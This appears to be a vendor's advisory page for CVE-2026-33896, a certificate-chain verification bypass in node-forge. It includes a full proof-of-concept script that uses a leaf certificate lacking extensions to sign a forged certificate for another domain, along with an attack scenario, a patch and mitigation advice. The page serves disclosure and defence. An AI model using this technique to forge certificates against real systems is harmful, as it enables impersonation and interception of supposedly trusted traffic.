CVE-2026-33896 is a high-severity (CVSS 7.4) CWE-295 vulnerability in node-forge. A fix is available for node-forge — see the affected versions and patch details below.
Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33896.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33896 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
node-forgenpmDescription
Summary
pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.
Technical Details
In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:
- The
keyUsagecheck (which includes a sub-check requiringbasicConstraintsto be present) is gated onkeyUsageExt !== null - The
basicConstraints.cAcheck is gated onbcExt !== null
When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.
RFC 5280 Section 6.1.4 step (k) requires:
"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."
The absence of basicConstraints should result in rejection, not acceptance.
Proof of Concept
const forge = require('node-forge');
const pki = forge.pki;
function generateKeyPair() {
return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}
console.log('=== node-forge basicConstraints Bypass PoC ===\n');
// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
const rootAttrs = [
{ name: 'commonName', value: 'Legitimate Root CA' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
{ name: 'basicConstraints', cA: true, critical: true },
{ name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
// This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
const leafAttrs = [
{ name: 'commonName', value: 'Non-CA Leaf Certificate' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 3. Create a "victim" certificate signed by the leaf
// This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
const victimAttrs = [
{ name: 'commonName', value: 'victim.example.com' },
{ name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());
// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);
try {
const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
console.log(' node-forge accepted a non-CA certificate as an intermediate CA!');
console.log(' This violates RFC 5280 Section 6.1.4.');
} catch (e) {
console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}
Results:
- Certificate with NO extensions: ACCEPTED as CA (vulnerable — violates RFC 5280)
- Certificate with
basicConstraints.cA=false: correctly rejected - Certificate with
keyUsage(nokeyCertSign): correctly rejected - Proper intermediate CA (control): correctly accepted
Attack Scenario
An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.
This affects applications using node-forge for:
- Custom PKI / certificate pinning implementations
- S/MIME / PKCS#7 signature verification
- IoT device certificate validation
- Any non-native-TLS certificate chain verification
CVE Precedent
This is the same vulnerability class as:
- CVE-2014-0092 (GnuTLS) — certificate verification bypass
- CVE-2015-1793 (OpenSSL) — alternative chain verification bypass
- CVE-2020-0601 (Windows CryptoAPI) — crafted certificate acceptance
Not a Duplicate
This is distinct from:
- CVE-2025-12816 (ASN.1 parser desynchronization — different code path)
- CVE-2025-66030/66031 (DoS and integer overflow — different issue class)
- GitHub issue #1049 (null subject/issuer — different malformation)
Suggested Fix
Add an explicit check for absent basicConstraints on non-leaf certificates:
// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
error = {
message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
error: pki.certificateError.bad_certificate
};
}
Disclosure Timeline
- 2026-03-10: Report submitted via GitHub Security Advisory
- 2026-06-08: 90-day coordinated disclosure deadline
Credits
Discovered and reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | node-forge | all versions | 1.4.0npm install node-forge@1.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for node-forge, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update node-forge to 1.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33896 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33896 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33896. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.5 for RHEL 8 | automation-gateway-0:2.5.20260422-3.el8ap | RHSA-2026:24761 |
| Cluster Observability Operator 1.5.0 | cluster-observability-operator/logging-console-plugin-pf4-rhel9:1782839279 | RHSA-2026:34342 |
| Red Hat Developer Hub 1.8 | rhdh/rhdh-hub-rhel9:1776784286 | RHSA-2026:9742 |
| Red Hat Developer Hub 1.9 | rhdh/rhdh-hub-rhel9:1777903262 | RHSA-2026:13826 |
Frequently Asked Questions
Is CVE-2026-33896 in your dependencies?
O3 Security finds CVE-2026-33896 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.